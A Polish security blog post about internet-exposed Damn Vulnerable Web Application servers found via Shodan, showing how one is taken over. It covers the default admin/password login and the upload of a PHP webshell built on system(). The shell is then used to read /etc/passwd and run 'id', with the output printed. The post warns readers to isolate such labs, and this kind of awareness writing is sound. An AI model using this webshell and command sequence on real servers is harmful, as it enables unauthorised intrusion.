NFsec Logo

Kroniki Shodana: Damn Vulnerable Web Application (DVWA)

07/01/2020 w Pen Test Brak komentarzy.  (artykuł nr 715, ilość słów: 763)

D

amn Vulnerable Web App (DVWA) jest aplikacją internetową napisaną w języku PHP (jako bazę wykorzystuje MySQL), która jest bardzo podatna na różne ataki. Jej głównym celem jest pomoc różnego specjalistom ds. bezpieczeństwa na różnym poziomie rozwoju w testowaniu swoich umiejętności i narzędzi na specjalnie przygotowanym do tego środowisku. Zarazem twórcy stron internetowych mogą za jej pomocą lepiej zrozumieć procesy zabezpieczenia aplikacji internetowych.

Jest ona bardzo popularna wśród początkujących pentesterów i bughunterów, ponieważ pozwala na przećwiczenie niektórych z najczęstszych luk w zabezpieczeniach webaplikacji, o różnym stopniu trudności – w dodatku posiada gotowy interfejs GUI i można ją zainstalować na prostym serwerze LAMP. Jeśli poczytamy sobie oficjalne repozytorium tego rozwiązania to zaraz jako drugi punkt zobaczymy duży napis WARNING! (OSTRZEŻENIE!), które mówi to tym, że Damn Vulnerable Web Application jest cholernie podatna na ataki! I nie należy instalować jej w publicznym katalogu dostawcy usług hostingowych ani na żadnym serwerze podłączonym do internetu, ponieważ mogą zostać one skompromitowane i przejęte. Jeśli chcemy skorzystać z tego, legalnego prawnie poligonu doświadczalnego najlepiej zainstalować go na maszynie wirtualnej lub kontenerze, które posiadają dostęp do sieci w trybie NAT i kontakt z taką instalacja z publicznych sieci jest niemożliwy.

Niestety nie wszyscy czytają instrukcję obsługi zanim dokonają uruchomienia produktu. W momencie pisania tego artykułu w internecie jest dostępnych około 500 (lub 1150) serwerów zawierających w treści HTML swoich stron frazę: Login :: Damn Vulnerable Web Application (DVWA), czyli główny panel logowania DVWA.

Przejęcie DVWA:

Zgodnie z ostrzeżeniem autora przejęcie DVWA i serwera, który ją obsługuje nie stanowi większego problemu. Standardowe dane do logowania w fabrycznej wersji to: admin / password i w większości przypadków nie zostają one zmienione, co umożliwia nam od razu dostanie się do “panelu sterowania” aplikacji. W zakładce Setup / Reset DB możemy dowiedzieć się o wielu rzeczach m.in. jakie są ustawienia i wersja PHP (7.0.30), ścieżki dostępu do poszczególnych modułów (/var/www...), wersja systemu operacyjnego (deb9) itd.:

Operating system: *nix
Backend database: MySQL
PHP version: 7.0.30-0+deb9u1

Web Server SERVER_NAME: XX.XX.XX.XX

PHP function display_errors: Disabled
PHP function safe_mode: Disabled
PHP function allow_url_include: Disabled
PHP function allow_url_fopen: Enabled
PHP function magic_quotes_gpc: Disabled
PHP module gd: Installed
PHP module mysql: Installed
PHP module pdo_mysql: Installed

MySQL username: app
MySQL password: ******
MySQL database: dvwa
MySQL host: 127.0.0.1

reCAPTCHA key: Missing

[User: www-data] Writable folder /var/www/html/hackable/uploads/: Yes
[User: www-data] Writable file /var/www/html/external/phpids/IDS/phpids_log.txt: Yes


[User: www-data] Writable folder /var/www/html/config: Yes
Status in red, indicate there will be an issue when trying to complete some modules.

If you see disabled on either allow_url_fopen or allow_url_include, 
set the following in your php.ini file and restart Apache.

allow_url_fopen = On
allow_url_include = On

These are only required for the file inclusion labs so unless you want to play with
those, you can ignore them. 

Dla nas najważniejszym jest, aby: [User: www-data] Writable folder posiadało zieloną wartość Yes. Jeśli teraz w zakładce DVWA Security przestawiamy poziom zabezpieczeń na wartość low będziemy mogli bez żadnej weryfikacji w zakładce File Upload wgrać dowolny webshell w języku PHP, który umożliwi nam wydawanie poleceń powłoki za pomocą żądań HTTP. Pierwszy, lepszy przykład takiego złośliwego skryptu to:

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']);
system($cmd); echo "</pre>"; die; } ?>

Wgrywając taki plik na serwer z DVWA możemy go później wykorzystać do stworzenia odwróconej powłoki i pełnego uzyskania dostępu do serwera w celu dalszych prób eskalacji uprawnień. Zakładając, że nasz skrypt wgraliśmy pod nazwą: test.php – możemy go teraz wywołać z poziomu adresu URL i sprawdzić czy jesteśmy w stanie odczytać ogólnodostępne pliki systemowe:

http://XX.XX.XX.XX/hackable/uploads/test.php?cmd=cat+/etc/passwd

Jako odpowiedź powinniśmy otrzymać zawartość pliku /etc/passwd pochodzącego z serwera, na którym jest hostowana aplikacja internetowa:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false

Możemy też sprawdzić z uprawnieniami, jakiego użytkownika wydajemy polecenia:

agresor@darkstar:~$ curl -s http://XX.XX.XX.XX/hackable/uploads/test.php?cmd=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Podsumowanie:

Jeśli interesuje nas doskonalenie swoich umiejętności na specjalnie dostosowanych do tego celu środowiskach – należy mieć na uwadze, że powinny one być odseparowane sieciowo od publicznego ruchu. Ze względu na popularność i łatwość przejęcia takich środowisk – pozostawianie ich na “widoku” to otwarte zaproszenie do przejęcia serwera. O ile nie chodzi nam o specjalne wystawienie takiego rozwiązania jako honeypot w odizolowanym otoczeniu – to powinniśmy zawsze korzystać z wirtualnych lub skonteneryzowanych maszyn o ograniczonej dostępności sieciowej.

Więcej informacji: DVWA backdoor, Create Your First Ethical Hacking Environment with DVWA

Kategorie K a t e g o r i e : Pen Test

Tagi T a g i : , , , , , , ,

Komentowanie tego wpisu jest zablokowane.